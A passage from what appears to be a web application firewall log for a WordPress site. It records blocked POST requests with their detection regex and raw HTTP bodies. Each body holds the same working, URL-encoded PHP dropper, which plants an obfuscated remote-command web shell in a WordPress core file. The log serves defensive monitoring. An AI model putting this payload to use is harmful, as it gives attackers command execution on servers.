nter_ptr%2529%2520%257B%2520%2524hld_tkn%2520%253D%2520%2524buffer_cache6%2528%2524pointer_ptr%2529%253B%2520%2524buffer_cache7%2528%2524pointer_ptr%2529%253B%2520print%2520%2524hld_tkn%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-ch-ua-platform:\"macOS\"\nsec-fetch-site:none\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\ncontent-length:5193\nsec-fetch-user:?1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\nsec-ch-ua:\"Google Chrome\";v=\"119\", \"Chromium\";v=\"119\", \"Not?A_Brand\";v=\"24\"\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvryLvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWypKIyp3EmVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-ch-ua-mobile:?0\n\nzV=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-http-curl.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524mutex_lock%2520%253D%2520%2522h%255Cx65%255Cx782%255Cx62in%2522%253B%2520%2524buffer_cache2%2520%253D%2520%2522%255Cx73%255Cx68%255Cx65l%255Cx6C_%255Cx65xec%2522%253B%2520%2524buffer_cache3%2520%253D%2520%2522e%255Cx78%255Cx65c%2522%253B%2520%2524buffer_cache6%2520%253D%2520%2522s%255Cx74r%255Cx65a%255Cx6D%255Cx5F%255Cx67%255Cx65%255Cx74%255Cx5F%255Cx63o%255Cx6Etents%2522%253B%2520%2524buffer_cache4%2520%253D%2520%2522pas%255Cx73t%255Cx68r%255Cx75%2522%253B%2520%2524buffer_cache7%2520%253D%2520%2522%255Cx70c%255Cx6C%255Cx6Fse%2522%253B%2520%2524buffer_cache1%2520%253D%2520%2522%255Cx73yst%255Cx65%255Cx6D%2522%253B%2520%2524buffer_cache5%2520%253D%2520%2522pop%255Cx65%255Cx6E%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx64at%2522%255D%2529%2529%2520%257B%2520function%2520service_registry%2520%2528%2520%2524val%2520%252C%2520%2524pointer%2520%2529%257B%2520%2524ptr%2520%253D%2527%2527%253B%2520for%2528%2524z%253D0%253B%2520%2524z%253Cstrlen%2528%2524val%2529%253B%2520%2524z%252B%252B%2529%257B%2524ptr.%253Dchr%2528ord%2528%2524val%255B%2524z%255D%2529%255E%2524pointer%2529%253B%257D%2520return%2520%2524ptr%253B%257D%2520%2524dat%2520%253D%2520%2524mutex_lock%2528%2524_POST%255B%2522%255Cx64at%2522%255D%2529%253B%2520%2524dat%2520%253D%2520service_registry%2528%2524dat%252C%252015%2529%253B%2520if%2520%2528function_exists%2528%2524buffer_cache1%2529%2529%2520%257B%2520%2524buffer_cache1%2528%2524dat%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524buffer_cache2%2529%2529%2520%257B%2520print%2520%2524buffer_cache2%2528%2524dat%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524buffer_cache3%2529%2529%2520%257B%2520%2524buffer_cache3%2528%2524dat%252C%2520%2524holder_val%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524holder_val%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524buffer_cache4%2529%2529%2520%257B%2520%2524buffer_cache4%2528%2524dat%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524buffer_cache5%2529%2520%2526%2526%2520function_exists%2528%2524buffer_cache6%2529%2520%2526%2526%2520function_exists%2528%2524buffer_cache7%2529%2529%2520%257B%2520%2524pointer_ptr%2520%253D%2520%2524buffer_cache5%2528%2524dat%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524pointer_ptr%2529%2520%257B%2520%2524hld_tkn%2520%253D%2520%2524buffer_cache6%2528%2524pointer_ptr%2529%253B%2520%2524buffer_cache7%2528%2524pointer_ptr%2529%253B%2520print%2520%2524hld_tkn%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:45:55","78.142.18.172","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Yb:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-http-curl.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524mutex_lock%2520%253D%2520%2522h%255Cx65%255Cx782%255Cx62in%2522%253B%2520%2524buffer_cache2%2520%253D%2520%2522%255Cx73%255Cx68%255Cx65l%255Cx6C_%255Cx65xec%2522%253B%2520%2524buffer_cache3%2520%253D%2520%2522e%255Cx78%255Cx65c%2522%253B%2520%2524buffer_cache6%2520%253D%2520%2522s%255Cx74r%255Cx65a%255Cx6D%255Cx5F%255Cx67%255Cx65%255Cx74%255Cx5F%255Cx63o%255Cx6Etents%2522%253B%2520%2524buffer_cache4%2520%253D%2520%2522pas%255Cx73t%255Cx68r%255Cx75%2522%253B%2520%2524buffer_cache7%2520%253D%2520%2522%255Cx70c%255Cx6C%255Cx6Fse%2522%253B%2520%2524buffer_cache1%2520%253D%2520%2522%255Cx73yst%255Cx65%255Cx6D%2522%253B%2520%2524buffer_cache5%2520%253D%2520%2522pop%255Cx65%255Cx6E%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx64at%2522%255D%2529%2529%2520%257B%2520function%2520service_registry%2520%2528%2520%2524val%2520%252C%2520%2524pointer%2520%2529%257B%2520%2524ptr%2520%253D%2527%2527%253B%2520for%2528%2524z%253D0%253B%2520%2524z%253Cstrlen%2528%2524val%2529%253B%2520%2524z%252B%252B%2529%257B%2524ptr.%253Dchr%2528ord%2528%2524val%255B%2524z%255D%2529%255E%2524pointer%2529%253B%257D%2520return%2520%2524ptr%253B%257D%2520%2524dat%2520%253D%2520%2524mutex_lock%2528%2524_POST%255B%2522%255Cx64at%2522%255D%2529%253B%2520%2524dat%2520%253D%2520service_registry%2528%2524dat%252C%252015%2529%253B%2520if%2520%2528function_exists%2528%2524buffer_cache1%2529%2529%2520%257B%2520%2524buffer_cache1%2528%2524dat%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524buffer_cache2%2529%2529%2520%257B%2520print%2520%2524buffer_cache2%2528%2524dat%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524buffer_cache3%2529%2529%2520%257B%2520%2524buffer_cache3%2528%2524dat%252C%2520%2524holder_val%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524holder_val%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524buffer_cache4%2529%2529%2520%257B%2520%2524buffer_cache4%2528%2524dat%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524buffer_cache5%2529%2520%2526%2526%2520function_exists%2528%2524buffer_cache6%2529%2520%2526%2526%2520function_exists%2528%2524buffer_cache7%2529%2529%2520%257B%2520%2524pointer_ptr%2520%253D%2520%2524buffer_cache5%2528%2524dat%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524pointer_ptr%2529%2520%257B%2520%2524hld_tkn%2520%253D%2520%2524buffer_cache6%2528%2524pointer_ptr%2529%253B%2520%2524buffer_cache7%2528%2524pointer_ptr%2529%253B%2520print%2520%2524hld_tkn%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\ncontent-length:5193\nsec-fetch-user:?1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\nsec-ch-ua:\"Chromium\";v=\"104\", \" Not A;Brand\";v=\"99\", \"Google Chrome\";v=\"104\"\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvJJVvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAyoaEypvV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-ch-ua-mobile:?0\n\nYb=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-http-curl.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524mutex_lock%2520%253D%2520%2522h%255Cx65%255Cx782%255Cx62in%2522%253B%2520%2524buffer_cache2%2520%253D%2520%2522%255Cx73%255Cx68%255Cx65l%255Cx6C_%255Cx65xec%2522%253B%2520%2524buffer_cache3%2520%253D%2520%2522e%255Cx78%255Cx65c%2522%253B%2520%2524buffer_cache6%2520%253D%2520%2522s%255Cx74r%255Cx65a%255Cx6D%255Cx5F%255Cx67%255Cx65%255Cx74%255Cx5F%255Cx63o%255Cx6Etents%2522%253B%2520%2524buffer_cache4%2520%253D%2520%2522pas%255Cx73t%255Cx68r%255Cx75%2522%253B%2520%2524buffer_cache7%2520%253D%2520%2522%255Cx70c%255Cx6C%255Cx6Fse%2522%253B%2520%2524buffer_cache1%2520%253D%2520%2522%255Cx73yst%255Cx65%255Cx6D%2522%253B%2520%2524buffer_cache5%2520%253D%2520%2522pop%255Cx65%255Cx6E%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx64at%2522%255D%2529%2529%2520%257B%2520function%2520service_registry%2520%2528%2520%2524val%2520%252C%2520%2524pointer%2520%2529%257B%2520%2524ptr%2520%253D%2527%2527%253B%2520for%2528%2524z%253D0%253B%2520%2524z%253Cstrlen%2528%2524val%2529%253B%2520%2524z%252B%252B%2529%257B%2524ptr.%253Dchr%2528ord%2528%2524val%255B%2524z%255D%2529%255E%2524pointer%2529%253B%257D%2520return%2520%2524ptr%253B%257D%2520%2524dat%2520%253D%2520%2524mutex_lock%2528%2524_POST%255B%2522%255Cx64at%2522%255D%2529%253B%2520%2524dat%2520%253D%2520service_registry%2528%2524dat%252C%252015%2529%253B%2520if%2520%2528function_exists%2528%2524buffer_cache1%2529%2529%2520%257B%2520%2524buffer_cache1%2528%2524dat%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524buffer_cache2%2529%2529%2520%257B%2520print%2520%2524buffer_cache2%2528%2524dat%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524buffer_cache3%2529%2529%2520%257B%2520%2524buffer_cache3%2528%2524dat%252C%2520%2524holder_val%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524holder_val%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524buffer_cache4%2529%2529%2520%257B%2520%2524buffer_cache4%2528%2524dat%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524buffer_cache5%2529%2520%2526%2526%2520function_exists%2528%2524buffer_cache6%2529%2520%2526%2526%2520function_exists%2528%2524buffer_cache7%2529%2529%2520%257B%2520%2524pointer_ptr%2520%253D%2520%2524buffer_cache5%2528%2524dat%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524pointer_ptr%2529%2520%257B%2520%2524hld_tkn%2520%253D%2520%2524buffer_cache6%2528%2524pointer_ptr%2529%253B%2520%2524buffer_cache7%2528%2524pointer_ptr%2529%253B%2520print%2520%2524hld_tkn%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:45:57","144.76.215.54","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> wb:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-http-curl.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524mutex_lock%2520%253D%2520%2522h%255Cx65%255Cx782%255Cx62in%2522%253B%2520%2524buffer_cache2%2520%253D%2520%2522%255Cx73%255Cx68%255Cx65l%255Cx6C_%255Cx65xec%2522%253B%2520%2524buffer_cache3%2520%253D%2520%2522e%255Cx78%255Cx65c%2522%253B%2520%2524buffer_cache6%2520%253D%2520%2522s%255Cx74r%255Cx65a%255Cx6D%255Cx5F%255Cx67%255Cx65%255Cx74%255Cx5F%255Cx63o%255Cx6Etents%2522%253B%2520%2524buffer_cache4%2520%253D%2520%2522pas%255Cx73t%255Cx68r%255Cx75%2522%253B%2520%2524buffer_cache7%2520%253D%2520%2522%255Cx70c%255Cx6C%255Cx6Fse%2522%253B%2520%2524buffer_cache1%2520%253D%2520%2522%255Cx73yst%255Cx65%255Cx6D%2522%253B%2520%2524buffer_cache5%2520%253D%2520%2522pop%255Cx65%255Cx6E%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx64at%2522%255D%2529%2529%2520%257B%2520function%2520service_registry%2520%2528%2520%2524val%2520%252C%2520%2524pointer%2520%2529%257B%2520%2524ptr%2520%253D%2527%2527%253B%2520for%2528%2524z%253D0%253B%2520%2524z%253Cstrlen%2528%2524val%2529%253B%2520%2524z%252B%252B%2529%257B%2524ptr.%253Dchr%2528ord%2528%2524val%255B%2524z%255D%2529%255E%2524pointer%2529%253B%257D%2520return%2520%2524ptr%253B%257D%2520%2524dat%2520%253D%2520%2524mutex_lock%2528%2524_POST%255B%2522%255Cx64at%2522%255D%2529%253B%2520%2524dat%2520%253D%2520service_registry%2528%2524dat%252C%252015%2529%253B%2520if%2520%2528function_exists%2528%2524buffer_cache1%2529%2529%2520%257B%2520%2524buffer_cache1%2528%2524dat%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524buffer_cache2%2529%2529%2520%257B%2520print%2520%2524buffer_cache2%2528%2524dat%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524buffer_cache3%2529%2529%2520%257B%2520%2524buffer_cache3%2528%2524dat%252C%2520%2524holder_val%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524holder_val%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524buffer_cache4%2529%2529%2520%257B%2520%2524buffer_cache4%2528%2524dat%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524buffer_cache5%2529%2520%2526%2526%2520function_exists%2528%2524buffer_cache6%2529%2520%2526%2526%2520function_exists%2528%2524buffer_cache7%2529%2529%2520%257B%2520%2524pointer_ptr%2520%253D%2520%2524buffer_cache5%2528%2524dat%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524pointer_ptr%2529%2520%257B%2520%2524hld_tkn%2520%253D%2520%2524buffer_cache6%2528%2524pointer_ptr%2529%253B%2520%2524buffer_cache7%2528%2524pointer_ptr%2529%253B%2520print%2520%2524hld_tkn%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\ncontent-length:5193\nsec-fetch-user:?1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"100\", \"Google Chrome\";v=\"100\"\ncookie:4=0a64bb21b33726046f335a7dc8ae049c; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvq2VvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAyoaEypvV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-ch-ua-mobile:?0\n\nwb=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-http-curl.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27%2524mutex_lock%2520%253D%2520%2522h%255Cx65%255Cx782%255Cx62in%2522%253B%2520%2524buffer_cache2%2520%253D%2520%2522%255Cx73%255Cx68%255Cx65l%255Cx6C_%255Cx65xec%2522%253B%2520%2524buffer_cache3%2520%253D%2520%2522e%255Cx78%255Cx65c%2522%253B%2520%2524buffer_cache6%2520%253D%2520%2522s%255Cx74r%255Cx65a%255Cx6D%255Cx5F%255Cx67%255Cx65%255Cx74%255Cx5F%255Cx63o%255Cx6Etents%2522%253B%2520%2524buffer_cache4%2520%253D%2520%2522pas%255Cx73t%255Cx68r%255Cx75%2522%253B%2520%2524buffer_cache7%2520%253D%2520%2522%255Cx70c%255Cx6C%255Cx6Fse%2522%253B%2520%2524buffer_cache1%2520%253D%2520%2522%255Cx73yst%255Cx65%255Cx6D%2522%253B%2520%2524buffer_cache5%2520%253D%2520%2522pop%255Cx65%255Cx6E%2522%253B%2520if%2520%2528isset%2528%2524_POST%255B%2522%255Cx64at%2522%255D%2529%2529%2520%257B%2520function%2520service_registry%2520%2528%2520%2524val%2520%252C%2520%2524pointer%2520%2529%257B%2520%2524ptr%2520%253D%2527%2527%253B%2520for%2528%2524z%253D0%253B%2520%2524z%253Cstrlen%2528%2524val%2529%253B%2520%2524z%252B%252B%2529%257B%2524ptr.%253Dchr%2528ord%2528%2524val%255B%2524z%255D%2529%255E%2524pointer%2529%253B%257D%2520return%2520%2524ptr%253B%257D%2520%2524dat%2520%253D%2520%2524mutex_lock%2528%2524_POST%255B%2522%255Cx64at%2522%255D%2529%253B%2520%2524dat%2520%253D%2520service_registry%2528%2524dat%252C%252015%2529%253B%2520if%2520%2528function_exists%2528%2524buffer_cache1%2529%2529%2520%257B%2520%2524buffer_cache1%2528%2524dat%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524buffer_cache2%2529%2529%2520%257B%2520print%2520%2524buffer_cache2%2528%2524dat%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524buffer_cache3%2529%2529%2520%257B%2520%2524buffer_cache3%2528%2524dat%252C%2520%2524holder_val%2529%253B%2520print%2520join%2528%2522%255Cn%2522%252C%2520%2524holder_val%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524buffer_cache4%2529%2529%2520%257B%2520%2524buffer_cache4%2528%2524dat%2529%253B%2520%257D%2520elseif%2520%2528function_exists%2528%2524buffer_cache5%2529%2520%2526%2526%2520function_exists%2528%2524buffer_cache6%2529%2520%2526%2526%2520function_exists%2528%2524buffer_cache7%2529%2529%2520%257B%2520%2524pointer_ptr%2520%253D%2520%2524buffer_cache5%2528%2524dat%252C%2520%2527r%2527%2529%253B%2520if%2520%2528%2524pointer_ptr%2529%2520%257B%2520%2524hld_tkn%2520%253D%2520%2524buffer_cache6%2528%2524pointer_ptr%2529%253B%2520%2524buffer_cache7%2528%2524pointer_ptr%2529%253B%2520print%2520%2524hld_tkn%253B%2520%257D%2520%257D%2520exit%253B%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B